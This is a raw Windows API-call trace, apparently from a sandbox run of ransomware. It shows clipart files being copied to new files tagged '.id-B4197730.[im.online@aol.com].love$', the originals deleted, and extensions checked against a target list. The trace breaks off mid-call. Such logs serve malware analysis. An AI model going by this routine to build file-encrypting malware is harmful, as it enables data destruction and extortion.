GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0271.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.551] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.551] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0271.553] GetLastError () returned 0x0 [0271.553] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0271.561] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0271.564] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.564] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.564] SetEndOfFile (hFile=0x57c) returned 1 [0271.565] CloseHandle (hObject=0x57c) returned 1 [0271.565] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.565] SetEndOfFile (hFile=0x47c) returned 1 [0271.571] CloseHandle (hObject=0x47c) returned 1 [0271.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0271.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.574] lstrlenW (lpString=".doc") returned 4 [0271.574] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.574] lstrlenW (lpString=".docx") returned 5 [0271.574] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0271.574] lstrlenW (lpString=".pdf") returned 4 [0271.575] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.575] lstrlenW (lpString=".xls") returned 4 [0271.575] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.575] lstrlenW (lpString=".xlsx") returned 5 [0271.575] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0271.575] lstrlenW (lpString=".ppt") returned 4 [0271.575] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.575] lstrlenW (lpString=".zip") returned 4 [0271.575] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.575] lstrlenW (lpString=".rar") returned 4 [0271.575] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.575] lstrlenW (lpString=".bz2") returned 4 [0271.575] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.575] lstrlenW (lpString=".7z") returned 3 [0271.575] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.575] lstrlenW (lpString=".dbf") returned 4 [0271.576] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.576] lstrlenW (lpString=".1cd") returned 4 [0271.576] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.576] lstrlenW (lpString=".jpg") returned 4 [0271.576] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.576] lstrlenW (lpString=".doc") returned 4 [0271.576] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.576] lstrlenW (lpString=".docx") returned 5 [0271.576] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0271.576] lstrlenW (lpString=".pdf") returned 4 [0271.576] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.576] lstrlenW (lpString=".xls") returned 4 [0271.576] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.576] lstrlenW (lpString=".xlsx") returned 5 [0271.576] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0271.576] lstrlenW (lpString=".ppt") returned 4 [0271.576] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.577] lstrlenW (lpString=".zip") returned 4 [0271.577] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.577] lstrlenW (lpString=".rar") returned 4 [0271.577] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.577] lstrlenW (lpString=".bz2") returned 4 [0271.577] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.577] lstrlenW (lpString=".7z") returned 3 [0271.577] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.577] lstrlenW (lpString=".dbf") returned 4 [0271.577] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.577] lstrlenW (lpString=".1cd") returned 4 [0271.577] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0271.577] lstrlenW (lpString=".jpg") returned 4 [0271.577] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.578] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0271.578] lstrlenW (lpString="J0099202.GIF") returned 12 [0271.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.579] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4967) returned 1 [0271.579] CloseHandle (hObject=0x47c) returned 1 [0271.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0271.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.581] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.581] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0271.583] GetLastError () returned 0x0 [0271.583] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1367, lpOverlapped=0x0) returned 1 [0271.853] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1370, lpOverlapped=0x0) returned 1 [0271.855] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.855] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.855] SetEndOfFile (hFile=0x57c) returned 1 [0271.856] CloseHandle (hObject=0x57c) returned 1 [0271.856] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.856] SetEndOfFile (hFile=0x47c) returned 1 [0271.860] CloseHandle (hObject=0x47c) returned 1 [0271.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0271.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.863] lstrlenW (lpString=".doc") returned 4 [0271.863] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.863] lstrlenW (lpString=".docx") returned 5 [0271.863] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0271.863] lstrlenW (lpString=".pdf") returned 4 [0271.863] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.863] lstrlenW (lpString=".xls") returned 4 [0271.863] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.863] lstrlenW (lpString=".xlsx") returned 5 [0271.863] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0271.863] lstrlenW (lpString=".ppt") returned 4 [0271.863] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.864] lstrlenW (lpString=".zip") returned 4 [0271.864] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.864] lstrlenW (lpString=".rar") returned 4 [0271.864] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.864] lstrlenW (lpString=".bz2") returned 4 [0271.864] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.864] lstrlenW (lpString=".7z") returned 3 [0271.864] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.864] lstrlenW (lpString=".dbf") returned 4 [0271.864] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.864] lstrlenW (lpString=".1cd") returned 4 [0271.864] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.864] lstrlenW (lpString=".jpg") returned 4 [0271.864] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.865] lstrlenW (lpString=".doc") returned 4 [0271.865] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.865] lstrlenW (lpString=".docx") returned 5 [0271.865] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0271.865] lstrlenW (lpString=".pdf") returned 4 [0271.865] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.865] lstrlenW (lpString=".xls") returned 4 [0271.865] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.865] lstrlenW (lpString=".xlsx") returned 5 [0271.865] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0271.865] lstrlenW (lpString=".ppt") returned 4 [0271.865] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.865] lstrlenW (lpString=".zip") returned 4 [0271.865] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.865] lstrlenW (lpString=".rar") returned 4 [0271.865] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.865] lstrlenW (lpString=".bz2") returned 4 [0271.865] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.865] lstrlenW (lpString=".7z") returned 3 [0271.865] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.866] lstrlenW (lpString=".dbf") returned 4 [0271.866] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.866] lstrlenW (lpString=".1cd") returned 4 [0271.866] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0271.866] lstrlenW (lpString=".jpg") returned 4 [0271.866] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.866] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0271.866] lstrlenW (lpString="J0101858.BMP") returned 12 [0271.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.868] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=32184) returned 1 [0271.868] CloseHandle (hObject=0x47c) returned 1 [0271.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0271.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.869] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.869] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0271.871] GetLastError () returned 0x0 [0271.871] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0271.894] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0271.896] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.896] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.896] SetEndOfFile (hFile=0x57c) returned 1 [0271.896] CloseHandle (hObject=0x57c) returned 1 [0271.897] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.897] SetEndOfFile (hFile=0x47c) returned 1 [0271.901] CloseHandle (hObject=0x47c) returned 1 [0271.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0271.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.903] lstrlenW (lpString=".doc") returned 4 [0271.903] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0271.903] lstrlenW (lpString=".docx") returned 5 [0271.903] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0271.903] lstrlenW (lpString=".pdf") returned 4 [0271.903] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0271.903] lstrlenW (lpString=".xls") returned 4 [0271.903] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0271.904] lstrlenW (lpString=".xlsx") returned 5 [0271.904] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0271.904] lstrlenW (lpString=".ppt") returned 4 [0271.904] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0271.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.904] lstrlenW (lpString=".zip") returned 4 [0271.904] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0271.904] lstrlenW (lpString=".rar") returned 4 [0271.904] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0271.904] lstrlenW (lpString=".bz2") returned 4 [0271.904] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0271.904] lstrlenW (lpString=".7z") returned 3 [0271.904] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0271.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.904] lstrlenW (lpString=".dbf") returned 4 [0271.904] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0271.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.904] lstrlenW (lpString=".1cd") returned 4 [0271.904] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0271.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.904] lstrlenW (lpString=".jpg") returned 4 [0271.904] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0271.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.904] lstrlenW (lpString=".doc") returned 4 [0271.904] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0271.905] lstrlenW (lpString=".docx") returned 5 [0271.905] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0271.905] lstrlenW (lpString=".pdf") returned 4 [0271.905] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0271.905] lstrlenW (lpString=".xls") returned 4 [0271.905] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0271.905] lstrlenW (lpString=".xlsx") returned 5 [0271.905] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0271.905] lstrlenW (lpString=".ppt") returned 4 [0271.905] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0271.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.905] lstrlenW (lpString=".zip") returned 4 [0271.905] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0271.905] lstrlenW (lpString=".rar") returned 4 [0271.905] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0271.905] lstrlenW (lpString=".bz2") returned 4 [0271.905] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0271.905] lstrlenW (lpString=".7z") returned 3 [0271.905] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0271.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.905] lstrlenW (lpString=".dbf") returned 4 [0271.905] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0271.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.906] lstrlenW (lpString=".1cd") returned 4 [0271.906] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0271.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0271.906] lstrlenW (lpString=".jpg") returned 4 [0271.906] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0271.906] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0271.906] lstrlenW (lpString="J0101860.BMP") returned 12 [0271.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0271.912] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=32184) returned 1 [0271.912] CloseHandle (hObject=0x47c) returned 1 [0271.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0272.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" 